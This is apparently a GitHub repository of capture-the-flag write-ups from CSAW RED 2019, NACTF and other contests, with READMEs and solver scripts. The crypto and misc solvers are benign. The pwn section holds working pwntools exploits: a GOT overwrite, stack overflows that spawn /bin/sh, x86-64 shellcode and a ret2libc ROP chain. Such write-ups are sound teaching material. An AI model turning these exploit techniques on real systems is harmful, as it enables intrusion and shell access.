├── 2019 ├── CSAW-RED │ ├── README.md │ ├── crypto │ │ ├── dummycrypt │ │ │ ├── README.md │ │ │ ├── challenge.py │ │ │ └── solver.py │ │ └── warmup │ │ │ ├── README.md │ │ │ └── solver.py │ ├── misc │ │ └── dense │ │ │ ├── README.md │ │ │ ├── initial_state.png │ │ │ ├── message.txt │ │ │ ├── solver.py │ │ │ └── superdense_wikipedia.png │ └── pwn │ │ ├── Lunchtable Simulator │ │ ├── README.md │ │ ├── lunchtable │ │ └── solver.py │ │ ├── SafeSpace │ │ ├── README.md │ │ ├── safespace │ │ └── solver.py │ │ ├── Seashore │ │ ├── README.md │ │ ├── seashore │ │ └── solver.py │ │ └── popcorn │ │ ├── README.md │ │ ├── libc.so.6 │ │ ├── popcorn │ │ └── solver.py ├── NACTF │ ├── Binary Exploitation │ │ ├── BufferOverflow #1 │ │ │ ├── README.md │ │ │ ├── bufover-1 │ │ │ ├── bufover-1.c │ │ │ └── solver.py │ │ ├── BufferOverflow #2 │ │ │ ├── README.md │ │ │ ├── bufover-2 │ │ │ ├── bufover-2.c │ │ │ └── solver.py │ │ ├── Format #0 │ │ │ ├── README.md │ │ │ ├── flag.txt │ │ │ ├── format-0 │ │ │ ├── format-0.c │ │ │ └── solver.py │ │ ├── Format #1 │ │ │ ├── README.md │ │ │ ├── format-1 │ │ │ ├── format-1.c │ │ │ └── solver.py │ │ ├── Loopy #0 │ │ │ ├── README.md │ │ │ ├── libc.so.6 │ │ │ ├── loopy-0 │ │ │ ├── loopy-0.c │ │ │ └── solver.py │ │ └── Loopy #1 │ │ │ ├── README.md │ │ │ ├── libc.so.6 │ │ │ ├── loopy-1 │ │ │ ├── loopy-1.c │ │ │ └── solver.py │ ├── Cryptography │ │ ├── Dr. J's Group Test Randomizer Board Problem #1 │ │ │ ├── README.md │ │ │ ├── rand.c │ │ │ └── solver.py │ │ ├── Reversible Sneaky Algorithm #0 │ │ │ ├── README.md │ │ │ ├── rsa.txt │ │ │ └── solver.py │ │ ├── Reversible Sneaky Algorithm #1 │ │ │ ├── README.md │ │ │ ├── ReversibleSneakyAlgorithm.txt │ │ │ └── solver.py │ │ └── Super Duper AES │ │ │ ├── README.md │ │ │ ├── cipher.txt │ │ │ ├── sdaes.py │ │ │ └── solver.py │ ├── Forensics │ │ └── Phuzzy Photo │ │ │ ├── README.md │ │ │ ├── pic.png │ │ │ └── solver.py │ ├── README.md │ └── Reverse Engineering │ │ └── Keygen │ │ ├── README.md │ │ ├── keygen-1 │ │ └── solver.py └── Reply-Cyber-Security-Challenge │ ├── CODING │ └── Jumpyrinth │ │ ├── README.md │ │ ├── jumpyrinth.zip │ │ └── solver.py │ ├── CRYPTO │ └── LogCaesar │ │ ├── README.md │ │ ├── encrypt.py │ │ ├── encrypted.txt │ │ └── solver.py │ ├── MISCELLANEOUS │ ├── Deep mid-space │ │ ├── 2001.mid │ │ ├── README.md │ │ └── website_screenshot.jpeg │ └── Deep red dust │ │ ├── Deep_Red_Dust │ │ ├── Deep_Red_Dust.png │ │ └── README.md │ └── README.md ├── 2020 └── H@cktivityCon-CTF │ ├── Binary Exploitation │ └── Pancakes │ │ ├── README.md │ │ ├── pancakes │ │ └── solver.py │ ├── Cryptography │ ├── Perfect XOR │ │ ├── README.md │ │ ├── decrypt.py │ │ └── solver.py │ └── Tyrannosaurus Rex │ │ ├── README.md │ │ └── fossil │ └── README.md ├── 2022 └── CCSC │ ├── README.md │ ├── forensics │ └── The Citadel of Ricks │ │ ├── README.md │ │ ├── portal.pcapng │ │ ├── wireshark1.png │ │ └── wireshark2.png │ ├── misc │ └── CUBIK RICK │ │ ├── CUBIK_RICK_screenshot.png │ │ ├── README.md │ │ ├── spreadsheet1.png │ │ ├── spreadsheet2.png │ │ └── spreadsheet3.png │ └── web │ ├── Planet TC-39 #1 │ ├── README.md │ ├── app.js │ └── planet_tc39_1_screenshot.png │ └── Planet TC-39 #2 │ ├── README.md │ └── app.js ├── .markdownlint.json ├── .vscode └── settings.json └── README.md /.markdownlint.json: -------------------------------------------------------------------------------- 1 | { 2 | "default": true, 3 | "MD013": false, 4 | "MD033": false, 5 | "MD040": false 6 | } 7 | -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "python.analysis.diagnosticSeverityOverrides": { 3 | "reportMissingImports": "none", 4 | "reportUndefinedVariable": "none" 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /2019/CSAW-RED/README.md: -------------------------------------------------------------------------------- 1 | # CSAW RED 2019 Write-Ups 2 | 3 | The [CSAW Red Team Competition](https://csaw.engineering.nyu.edu/RED/faq) (RED) is a CTF competition organized by the [NYU Center for Cybersecurity](http://cyber.nyu.edu/). These are write-ups for the online qualification round held in September 2019. 4 | 5 | ## Index 6 | 7 | ### pwn 8 | 9 | | Task | Points | 10 | |---------------------------------------------------------------------|:----------------:| 11 | | [SafeSpace](pwn/SafeSpace) | 50 | 12 | | [Seashore](pwn/Seashore) | 100 | 13 | | [Lunchtable Simulator](pwn/Lunchtable%20Simulator) | 150 | 14 | | [popcorn](pwn/popcorn) | 250 | 15 | 16 | ### crypto 17 | 18 | | Task | Points | 19 | |---------------------------------------------------------------------|:----------------:| 20 | | [warmup](crypto/warmup) | 50 | 21 | | [dummycrypt](crypto/dummycrypt) | 100 | 22 | 23 | ### misc 24 | 25 | | Task | Points | 26 | |---------------------------------------------------------------------|:----------------:| 27 | | [dense](misc/dense) | 150 | 28 | -------------------------------------------------------------------------------- /2019/CSAW-RED/crypto/dummycrypt/README.md: -------------------------------------------------------------------------------- 1 | # dummycrypt 2 | 3 | ## Problem 4 | 5 | > Welcome to roll your own crypto, it's exactly as good as it sounds 6 | 7 | [challenge.py](challenge.py) 8 | 9 | ## Solution 10 | 11 | We are given the plaintext and ciphertext. Therefore, the logical assumption is that we need to find the key which was used to encrypt the plaintext into the ciphertext. In order to do that, we have to reverse the `encrypt()` function given. 12 | 13 | [Python script](solver.py) 14 | -------------------------------------------------------------------------------- /2019/CSAW-RED/crypto/dummycrypt/challenge.py: -------------------------------------------------------------------------------- 1 | #Here's the encryptor code: 2 | 3 | def encrypt(string, key): 4 | out = "" 5 | for s in range(len(string)): 6 | c = ord(string[s]) 7 | c += ord(key[s%len(key)]) - ord('A') 8 | c = chr(c - ord('A')) 9 | out += c 10 | return out 11 | 12 | #Here's the plaintext: 13 | # Hellothere everybody how are you doing today_long-plaintexts-are fun 14 | #Here's the ciphertext: 15 | # 2c4f4b5168535a574f57064853485e5b3f5c4856124e525402406942076b60521156565358440057615644693c5e554d530a605d4064525e445d6d521f534f5706495251 -------------------------------------------------------------------------------- /2019/CSAW-RED/crypto/dummycrypt/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | text = 'Hellothere everybody how are you doing today_long-plaintexts-are fun' 3 | ciphertext = '2c4f4b5168535a574f57064853485e5b3f5c4856124e525402406942076b60521156565358440057615644693c5e554d530a605d4064525e445d6d521f534f5706495251' 4 | 5 | 6 | def decrypt(text, ciphertext): 7 | ciphertext = ciphertext.decode('hex') 8 | key = '' 9 | for i in range(len(text)): 10 | plain = ord(text[i]) 11 | cipher = ord(ciphertext[i]) + 65 12 | key += chr(cipher - plain + 65) 13 | if key[-1] == '}': 14 | break 15 | print(key) 16 | 17 | 18 | decrypt(text, ciphertext) 19 | -------------------------------------------------------------------------------- /2019/CSAW-RED/crypto/warmup/README.md: -------------------------------------------------------------------------------- 1 | # warmup 2 | 3 | ## Problem 4 | 5 | > Let's start off with the basics:
6 | `0f05080e1220360106190c3610061c360207061e361e01081d4e1a2e0600070e362607210c1b0c4814` 7 | 8 | ## Solution 9 | 10 | This is an XOR cipher with key length 1. As the challenge title implies, this is easy to crack. All we have to do is unhexlify the ciphertext and then try to XOR that with all possible ASCII characters until we find the key which results in the flag. 11 | 12 | [Python script](solver.py) 13 | -------------------------------------------------------------------------------- /2019/CSAW-RED/crypto/warmup/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import binascii 3 | 4 | 5 | str1 = binascii.unhexlify( 6 | '0f05080e1220360106190c3610061c360207061e361e01081d4e1a2e0600070e362607210c1b0c4814' 7 | ) 8 | 9 | for i in range(255): 10 | str2 = '' 11 | for c in str1: 12 | str2 += chr(c ^ i) 13 | if 'flag{' in str2: 14 | print(str2) 15 | -------------------------------------------------------------------------------- /2019/CSAW-RED/misc/dense/README.md: -------------------------------------------------------------------------------- 1 | # dense 2 | 3 | ## Problem 4 | 5 | > CSAW goes superdense for once 6 | 7 | [message.txt](message.txt) 8 | 9 | ## Solution 10 | 11 | The contents of `message.txt` seem to be related to quantum computation, judging by the reference to "entagled pairs". 12 | 13 | The only hint we are given is the word "superdense". Googling that leads to the [Wikipedia article on Superdense coding](https://en.wikipedia.org/wiki/Superdense_coding): 14 | 15 | ![Superdense coding Wikipedia article screenshot](superdense_wikipedia.png "Superdense coding Wikipedia article") 16 | 17 | Since `message.txt` seems to describe the transmission of a message using this protocol, we can look at the [Preparation](https://en.wikipedia.org/wiki/Superdense_coding#Preparation) and [Encoding](https://en.wikipedia.org/wiki/Superdense_coding#Encoding) sections of the Wikipedia article in order to understand what was done in order to encode the message. 18 | 19 | The Preparation section on Wikipedia states that the protocol starts with the preparation of an entangled state, which is shared between the 2 parties. An example of such an entangled state is given. Interestingly enough, the example on Wikipedia is exactly the same as the entangled pair given in `message.txt`: 20 | 21 | ![Initial entangled state](initial_state.png "Initial entangled state") 22 | 23 | The Encoding section describes how a quantum gate, represented as a matrix, is applied to the qubit the sender wants to transmit. Luckily for us, we don't need to know how the math works, since the Wikipedia article shows the resultant entangled state for transmitting every one of the possible 2-bit strings (`00`, `01`, `10`, `11`), using the same initial entangled state as the one we have in `message.txt`. Therefore, all we have to do is go through the list of entangled states in `message.txt`, compare them with the ones in the Wikipedia example, and identify whether they represent `00`, `01`, `10` or `11`. We then convert the final sequence of bits to ASCII. 24 | 25 | [Python script](solver.py) 26 | -------------------------------------------------------------------------------- /2019/CSAW-RED/misc/dense/initial_state.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/CSAW-RED/misc/dense/initial_state.png -------------------------------------------------------------------------------- /2019/CSAW-RED/misc/dense/message.txt: -------------------------------------------------------------------------------- 1 | Begin Transmission (entangled pair: 1/sqrt(2) |00> + 1/sqrt(2) |11>): 2 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 3 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 4 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 5 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 6 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 7 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 8 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 9 | 1/sqrt(2) |00> + 1/sqrt(2) |11> 10 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 11 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 12 | 1/sqrt(2) |00> + 1/sqrt(2) |11> 13 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 14 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 15 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 16 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 17 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 18 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 19 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 20 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 21 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 22 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 23 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 24 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 25 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 26 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 27 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 28 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 29 | 1/sqrt(2) |00> + 1/sqrt(2) |11> 30 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 31 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 32 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 33 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 34 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 35 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 36 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 37 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 38 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 39 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 40 | 1/sqrt(2) |00> + 1/sqrt(2) |11> 41 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 42 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 43 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 44 | 1/sqrt(2) |00> + 1/sqrt(2) |11> 45 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 46 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 47 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 48 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 49 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 50 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 51 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 52 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 53 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 54 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 55 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 56 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 57 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 58 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 59 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 60 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 61 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 62 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 63 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 64 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 65 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 66 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 67 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 68 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 69 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 70 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 71 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 72 | 1/sqrt(2) |00> + 1/sqrt(2) |11> 73 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 74 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 75 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 76 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 77 | 1/sqrt(2) |00> + 1/sqrt(2) |11> 78 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 79 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 80 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 81 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 82 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 83 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 84 | 1/sqrt(2) |00> + 1/sqrt(2) |11> 85 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 86 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 87 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 88 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 89 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 90 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 91 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 92 | 1/sqrt(2) |00> + 1/sqrt(2) |11> 93 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 94 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 95 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 96 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 97 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 98 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 99 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 100 | 1/sqrt(2) |00> + 1/sqrt(2) |11> 101 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 102 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 103 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 104 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 105 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 106 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 107 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 108 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 109 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 110 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 111 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 112 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 113 | 1/sqrt(2) |00> + 1/sqrt(2) |11> 114 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 115 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 116 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 117 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 118 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 119 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 120 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 121 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 122 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 123 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 124 | 1/sqrt(2) |00> + 1/sqrt(2) |11> 125 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 126 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 127 | 1/sqrt(2) |00> - 1/sqrt(2) |11> 128 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 129 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 130 | 1/sqrt(2) |00> + 1/sqrt(2) |11> 131 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 132 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 133 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 134 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 135 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 136 | 1/sqrt(2) |10> - 1/sqrt(2) |01> 137 | 1/sqrt(2) |10> + 1/sqrt(2) |01> 138 | -------------------------------------------------------------------------------- /2019/CSAW-RED/misc/dense/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import re 3 | 4 | 5 | with open('message.txt', 'r') as f: 6 | table = { 7 | ('00', '+', '11'): '00', 8 | ('00', '-', '11'): '10', 9 | ('10', '+', '01'): '01', 10 | ('10', '-', '01'): '11' 11 | } 12 | lines = f.readlines() 13 | lines.pop(0) 14 | binary = '' 15 | for line in lines: 16 | b1, b2 = re.findall('\d{2}', line) 17 | o = re.search('[-+]', line).group(0) 18 | binary += table[(b1, o, b2)] 19 | 20 | print( 21 | ''.join( 22 | chr(int(binary[i * 8: i * 8 + 8], 2)) 23 | for i in range(len(binary) // 8) 24 | ) 25 | ) 26 | -------------------------------------------------------------------------------- /2019/CSAW-RED/misc/dense/superdense_wikipedia.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/CSAW-RED/misc/dense/superdense_wikipedia.png -------------------------------------------------------------------------------- /2019/CSAW-RED/pwn/Lunchtable Simulator/README.md: -------------------------------------------------------------------------------- 1 | # Lunchtable Simulator 2 | 3 | ## Problem 4 | 5 | > Sometimes where you sit at the table matters.
6 | `nc pwn.chal.csaw.io 1001` 7 | 8 | [lunchtable](lunchtable) 9 | 10 | ## Solution 11 | 12 | When we analyze the binary in `gdb`, we find that at the end of the program,`puts()` is called to print a "goodbye" message. We also find a function called `system_wrapper()`, which will allow us to easily call the `system()` function. The idea here is to replace the address of `puts()` with the address of `system_wrapper()`, and to replace the argument with `"/bin/sh"`. 13 | 14 | [Python script](solver.py) 15 | -------------------------------------------------------------------------------- /2019/CSAW-RED/pwn/Lunchtable Simulator/lunchtable: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/CSAW-RED/pwn/Lunchtable Simulator/lunchtable -------------------------------------------------------------------------------- /2019/CSAW-RED/pwn/Lunchtable Simulator/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | 5 | elf = ELF('./lunchtable') 6 | p = elf.process() 7 | # p = remote('pwn.chal.csaw.io', 1001) 8 | 9 | system_wrapper = elf.symbols['system_wrapper'] 10 | 11 | p.recvuntil('What\'s your name?') 12 | p.sendline('A') 13 | 14 | p.recvuntil( 15 | 'Describe yourself, we want to know if you\'ll fit at our table...\n' 16 | ) 17 | p.sendline('A') 18 | 19 | p.recvuntil('Do you want to edit your description? (y/n): ') 20 | p.sendline('y') 21 | 22 | p.recvuntil('What do you want to change?') 23 | p.sendline('32') # 0x6010c0 (goodbye) - 0x6010a0 (buffer) = 32 (decimal) 24 | 25 | p.recvuntil('Give me something to replace that with') 26 | p.sendline('/bin/sh') 27 | 28 | p.recvuntil('Do you want to edit your description? (y/n): ') 29 | p.sendline('y') 30 | 31 | p.recvuntil('What do you want to change?') 32 | p.sendline('-136') # 0x601018 (puts.got) - 0x6010a0 (buffer) = -136 (decimal) 33 | 34 | p.recvuntil('Give me something to replace that with') 35 | p.sendline(p64(system_wrapper)) 36 | 37 | p.recvuntil('Do you want to edit your description? (y/n): ') 38 | p.sendline('n') 39 | 40 | p.interactive() 41 | p.close() 42 | -------------------------------------------------------------------------------- /2019/CSAW-RED/pwn/SafeSpace/README.md: -------------------------------------------------------------------------------- 1 | # SafeSpace 2 | 3 | ## Problem 4 | 5 | > We all need a little bit of wiggle room
6 | `nc pwn.chal.csaw.io 1002` 7 | 8 | [safespace](safespace) 9 | 10 | ## Solution 11 | 12 | We can start by finding out the list of functions present in the compiled binary. [This Stack Overflow question](https://stackoverflow.com/questions/392142/) shows various ways we can do this. 13 | 14 | There is a function called `give_shell()`. This probably gives us a shell if we manage to call it. To do that, we can use a simple stack overflow to overwrite the 64-bit instruction pointer (RIP) with the address of `give_shell()`. 15 | 16 | [Python script](solver.py) 17 | -------------------------------------------------------------------------------- /2019/CSAW-RED/pwn/SafeSpace/safespace: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/CSAW-RED/pwn/SafeSpace/safespace -------------------------------------------------------------------------------- /2019/CSAW-RED/pwn/SafeSpace/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | 5 | elf = ELF('./safespace') 6 | # p = remote('pwn.chal.csaw.io', 1002) 7 | p = elf.process() 8 | 9 | p.recv() 10 | 11 | p.sendline(b'A' * 40 + p64(elf.symbols['give_shell'])) 12 | 13 | p.interactive() 14 | p.close() 15 | -------------------------------------------------------------------------------- /2019/CSAW-RED/pwn/Seashore/README.md: -------------------------------------------------------------------------------- 1 | # Seashore 2 | 3 | ## Problem 4 | 5 | > Sally seems super sad, set up a solution
6 | `nc pwn.chal.csaw.io 1003` 7 | 8 | [seashore](seashore) 9 | 10 | ## Solution 11 | 12 | Running [`checksec`](https://en.kali.tools/all/?tool=206) on the binary shows that the NX bit (no-execute) is turned off, which means that we are allowed to execute code on the stack. So, we can use a stack overflow to inject shellcode which will run `execve("/bin/sh")`. 13 | 14 | [Python script](solver.py) 15 | -------------------------------------------------------------------------------- /2019/CSAW-RED/pwn/Seashore/seashore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/CSAW-RED/pwn/Seashore/seashore -------------------------------------------------------------------------------- /2019/CSAW-RED/pwn/Seashore/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | 5 | # p = remote('pwn.chal.csaw.io', 1003) 6 | p = process('./seashore') 7 | 8 | p.recvuntil(': ') 9 | buffer_address = int(p.recv(), 16) 10 | print('Buffer address: ' + hex(buffer_address)) 11 | 12 | # from https://www.exploit-db.com/exploits/36858/ 13 | shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05' 14 | 15 | # Put buffer address as main()'s return address to execute shell code. 16 | payload = shellcode + b'A' * 17 + p64(buffer_address) 17 | p.sendline(payload) 18 | 19 | p.interactive() 20 | p.close() 21 | -------------------------------------------------------------------------------- /2019/CSAW-RED/pwn/popcorn/README.md: -------------------------------------------------------------------------------- 1 | # popcorn 2 | 3 | ## Problem 4 | 5 | > We love POPcorn
6 | 7 | [popcorn](popcorn) 8 | 9 | [libc.so.6](libc.so.6) 10 | 11 | ## Solution 12 | 13 | In this challenge, we are given a dynamically-linked binary and the C Standard Library shared object on the server which the binary is hosted on. Also, the challenge description hints on the fact that we need to use a `pop` ROP gadget, which we can get using [ROPgadget](https://github.com/JonathanSalwan/ROPgadget). 14 | 15 | To pwn this binary, we need to deliver 2 stack overflow payloads. Since it is a 64-bit binary, we need to use the `rdi` register whenever we want to pass an argument to a function. We can use the `pop rdi` ROP gadget, which pops a value from the stack and inserts it into `rdi`, to achieve this. 16 | 17 | When we are prompted for input, we deliver a stack overflow and overwrite the instruction pointer (RIP) with the `pop rdi` address. The next value in our payload would be the GOT address of the `puts()` argument. This will then be popped into `rdi` and become our argument. Since the `pop rdi` ROP gadget is followed by `ret;` (return), execution will resume on the stack. The next value we pass is the function we want to call, in this case `puts()`, therefore we pass its Procedure Linkage Table (PLT) value. Finally, we supply the address of `main()` as our return address. This payload results in calling the `puts()` function to print the GOT address of `puts()`, and then recursively calling `main()`. Therefore, the program flow repeats from the beginning. 18 | 19 | Now that we have leaked the GOT value of `puts()`, and since we can find out the offset of `puts()` in the C Standard Library shared object given to us, we can proceed to calculate the base address of libc. When we have that, we can then obtain the address of the `system()` function in libc, as well as the address where the string `"/bin/sh"` appears in libc. 20 | 21 | When we are prompted again for input, we deliver another stack overflow. This time, we use the `pop rdi` gadget to store the address of `"/bin/sh"` in the `rdi` register. We then call `system()`, with `/bin/sh` as the argument. We do not need to overwrite the return address. 22 | 23 | [Python script](solver.py) 24 | -------------------------------------------------------------------------------- /2019/CSAW-RED/pwn/popcorn/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/CSAW-RED/pwn/popcorn/libc.so.6 -------------------------------------------------------------------------------- /2019/CSAW-RED/pwn/popcorn/popcorn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/CSAW-RED/pwn/popcorn/popcorn -------------------------------------------------------------------------------- /2019/CSAW-RED/pwn/popcorn/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | 5 | elf = ELF('./popcorn') 6 | # p = remote('pwn.chal.csaw.io', 1006) 7 | p = elf.process() 8 | libc = ELF('./libc.so.6') 9 | 10 | pop_rdi = 0x4011eb 11 | 12 | payload = ( 13 | b'A' * 136 14 | + p64(pop_rdi) 15 | + p64(elf.got['puts']) 16 | + p64(elf.plt['puts']) 17 | + p64(elf.symbols['main']) 18 | ) 19 | 20 | p.sendlineafter('Would you like some popcorn?', payload) 21 | p.recv() 22 | leak = u64(p.recvuntil('\x7f') + b'\x00\x00') 23 | print('puts@libc:', hex(leak)) 24 | 25 | libc.address = leak - libc.symbols['puts'] 26 | system = libc.symbols['system'] 27 | bin_sh = next(libc.search(b'/bin/sh')) 28 | 29 | payload = b'A' * 136 + p64(pop_rdi) + p64(bin_sh) + p64(system) 30 | p.sendlineafter('Would you like some popcorn?', payload) 31 | 32 | p.interactive() 33 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/BufferOverflow #1/README.md: -------------------------------------------------------------------------------- 1 | # BufferOverflow #1 2 | 3 | ## Problem 4 | 5 | > The close cousin of a website for "Question marked as duplicate" - part 2!
6 | Can you redirect code execution and get the flag?
7 | Connect at `shell.2019.nactf.com:31462` 8 | 9 | [bufover-1](bufover-1) 10 | 11 | [bufover-1.c](bufover-1.c) 12 | 13 | ## Hints 14 | 15 | > - pwntools can help you with crafting payloads 16 | 17 | ## Solution 18 | 19 | Because the insecure `gets()` function is used to retrieve user input, we can create a buffer overflow and use it to call `win()`. All we need is the address of `win()`, which we can easily find using a tool like `objdump` since the executable contains debug symbols. 20 | 21 | [Python script](solver.py) 22 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/BufferOverflow #1/bufover-1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/NACTF/Binary Exploitation/BufferOverflow #1/bufover-1 -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/BufferOverflow #1/bufover-1.c: 